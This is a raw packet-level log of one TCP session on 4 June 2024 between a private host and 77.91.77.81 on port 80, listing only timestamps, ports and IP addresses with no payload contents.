Jun 4, 2024 23:09:16.395394087 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395397902 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.395406008 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395416975 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395420074 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.395427942 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395438910 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.395440102 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395454884 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395457029 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.395466089 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395477057 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395482063 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.395488024 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395495892 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.395498037 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395508051 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395518064 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395520926 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.395533085 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395544052 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395548105 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.395554066 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395565033 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395565987 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.395575047 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395586967 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395596981 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395601988 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.395610094 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395626068 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395627975 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.395637035 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395646095 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.395647049 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395658016 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395670891 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.395677090 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395689011 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.395693064 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395703077 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395711899 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.395718098 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395728111 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395735979 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.395739079 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395750046 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395760059 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395767927 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.395772934 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395785093 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395792961 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.395797014 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395807981 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395823002 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.395844936 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.395857096 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395869017 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395884991 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395895958 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395905018 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395909071 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.395916939 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.395916939 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395934105 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395942926 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.395944118 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395952940 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395967007 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.395968914 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395978928 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395983934 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395984888 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.395992994 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395999908 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396011114 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396045923 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396054983 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396064997 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396075964 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396079063 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.396087885 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396099091 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396100998 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.396110058 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396125078 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.396143913 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.396181107 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396190882 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396200895 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396203041 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.396210909 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396220922 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.396223068 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396244049 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.396253109 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396269083 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396271944 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.396286011 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396292925 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.396296978 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396306992 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396311998 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.396317005 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396328926 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396334887 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.396344900 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396356106 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396362066 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.396365881 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396374941 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.396382093 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396393061 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396394014 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.396404028 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396413088 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396415949 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.396424055 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396433115 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396442890 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.396445036 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396455050 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.396493912 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.396496058 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396506071 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396522045 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396531105 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.396533012 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396543980 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396557093 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.396581888 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.396609068 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396619081 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396629095 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396641970 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396656036 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396657944 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.396666050 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.396672964 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396692038 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396696091 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.396702051 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396719933 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396723986 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.396739960 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.396743059 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396763086 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396764994 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.396774054 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396784067 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396789074 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.396795034 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396806955 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.396814108 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396822929 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396830082 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.396835089 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396840096 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.396862984 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396869898 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.396873951 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396883011 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396899939 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396900892 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.396910906 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396924973 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396924973 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.396950006 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.396950960 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396960974 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.396964073 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.397006035 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.397074938 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.397085905 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.397088051 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.397094965 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.397104979 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.397114992 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.397115946 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.397135019 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.397141933 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.397146940 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.397157907 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.397165060 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.397170067 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.397178888 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.397188902 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.397212029 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.397223949 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.397383928 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.397768974 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.397806883 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.397806883 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.398205042 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398245096 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.398310900 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398320913 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398332119 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398341894 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398344040 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.398358107 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398360014 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.398367882 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398379087 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398389101 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398391962 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.398400068 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398408890 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.398410082 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398428917 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.398442984 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.398544073 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398559093 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398569107 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398576021 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.398580074 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398591042 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398591042 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.398602962 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398612022 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.398613930 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398624897 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398634911 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398636103 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.398646116 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398650885 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.398655891 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398665905 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398674965 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.398677111 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398686886 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398699045 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.398708105 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398715973 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.398724079 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398734093 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398737907 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.398744106 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398756027 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398761034 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.398766041 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398777008 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398786068 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398786068 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.398797035 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398802042 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.398807049 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398817062 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398824930 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.398827076 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398837090 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398845911 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398848057 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.398864031 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.398866892 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398880005 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.398885012 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398895979 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398902893 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.398905993 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398916960 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398920059 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.398927927 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398936987 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.398938894 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398948908 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398960114 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398961067 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.398971081 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398977041 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.398981094 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398989916 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.398991108 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399000883 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399012089 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399014950 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399029970 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399039030 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399045944 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399053097 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399058104 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399068117 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399077892 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399079084 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399089098 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399100065 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399101973 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399108887 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399116993 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399118900 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399130106 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399132013 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399139881 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399149895 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399153948 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399161100 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399178028 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399178982 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399194002 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399194956 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399205923 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399215937 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399216890 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399228096 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399233103 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399239063 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399250031 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399259090 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399261951 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399272919 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399272919 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399283886 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399293900 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399296045 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399303913 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399312973 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399318933 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399332047 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399337053 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399347067 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399352074 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399359941 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399369955 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399374008 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399380922 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399390936 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399390936 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399401903 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399411917 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399416924 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399421930 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399431944 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399436951 CEST	49713	80	192.168.2.11	77.91.77.81
